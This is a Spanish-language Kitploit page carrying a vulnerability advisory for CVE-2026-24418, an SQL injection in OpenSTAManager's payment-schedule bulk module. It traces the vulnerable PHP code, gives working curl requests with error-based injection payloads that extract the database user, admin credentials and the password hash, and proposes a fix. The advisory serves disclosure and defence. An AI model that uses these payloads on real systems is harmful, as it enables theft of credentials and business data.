Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager tiene una vulnerabilidad de inyección SQL en el módulo de operaciones masivas Scadenzario | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-24418
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager tiene una vulnerabilidad de inyección SQL en el módulo de operaciones masivas Scadenzario

Ver Repositorio
12hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-24418: OpenSTAManager tiene una vulnerabilidad de inyección SQL en el módulo de operaciones masivas Scadenzario

Información general

CampoDetalles
ID de CVECVE-2026-24418
GravedadHIGH
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • devcode-it/openstamanager (versiones: <= 2.9.8)

Clasificación CWE

  • CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')

Detalles

Resumen

Una vulnerabilidad crítica de inyección SQL basada en errores en el módulo de operaciones masivas Scadenzario (Calendario de pagos) de OpenSTAManager v2.9.8 permite a atacantes autenticados extraer el contenido completo de la base de datos, incluidas credenciales de usuario, datos personales (PII) de clientes y registros financieros, a través de mensajes de error XML.

Estado: ✅ Confirmado y probado en instancia real (v2.9.8) Parámetro vulnerable: id_records[] (array POST) Endpoint afectado: /actions.php?id_module=18 (módulo Scadenzario) Tipo de ataque: Inyección SQL basada en errores (cláusula IN)

Detalles

OpenSTAManager v2.9.8 contiene una vulnerabilidad crítica de inyección SQL basada en errores en el controlador de operaciones masivas del módulo Scadenzario (Calendario de pagos). La aplicación no valida que los elementos del array id_records sean enteros antes de usarlos en una cláusula SQL IN(), lo que permite a los atacantes inyectar comandos SQL arbitrarios y extraer datos confidenciales a través de mensajes de error XPATH.

Cadena de vulnerabilidad:

  1. Punto de entrada: /actions.php (Líneas 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    La función array_clean() solo elimina valores vacíos; NO valida tipos.

  2. Función vulnerable: /lib/util.php (Líneas 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    Impacto: La función filtra los valores vacíos, pero acepta cualquier valor no vacío, incluidos payloads de inyección SQL.

  3. Punto de inyección SQL: /modules/scadenzario/bulk.php (Línea 88) VULNERABILIDAD PRINCIPAL

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    Impacto: Los elementos del array $id_records se concatenan directamente con implode() sin validación de tipos ni prepare(), lo que permite una inyección SQL completa.

Análisis de causa raíz:

La vulnerabilidad existe porque:

  1. post('id_records') devuelve un array controlado por el usuario
  2. array_clean() solo elimina valores vacíos, no valores no enteros
  3. implode(',', $id_records) concatena los elementos del array directamente en SQL
  4. No hay ninguna validación que garantice que los elementos del array sean enteros
  5. El atacante puede inyectar SQL proporcionando: id_records[]=1&id_records[]=(MALICIOUS SQL)#

Ruta de código afectada:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

Paso 1: Inicio de sesión

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Paso 2: Verificar la vulnerabilidad (Inyección SQL basada en errores)

Prueba 1: Extraer usuario y versión de la base de datos

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Respuesta (mensaje de error visible para el atacante):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

Prueba 2: Extraer credenciales de administrador

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Respuesta:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

Prueba 3: Extraer hash de contraseña (Parte 1 - primeros 31 caracteres)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Respuesta:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

Prueba 4: Extraer hash de contraseña (Parte 2 - caracteres 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Respuesta:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

Hash de contraseña combinado:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

Impacto

**Todos los usuarios autenticados con acceso a las operaciones masivas del módulo Scadenzario (Calendario de pagos).

Corrección recomendada:

Corrección principal - Validación de tipos:

Archivo: /modules/scadenzario/bulk.php

ANTES (Vulnerable - Línea 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

DESPUÉS (Corregido):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

Créditos

Descubierto por Łukasz Rybak

Referencias

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

Descargo de responsabilidad

Este CVE fue divulgado de forma responsable siguiendo prácticas coordinadas de divulgación de vulnerabilidades. La información aquí proporcionada tiene fines exclusivamente educativos y de defensa.

Descargar herramienta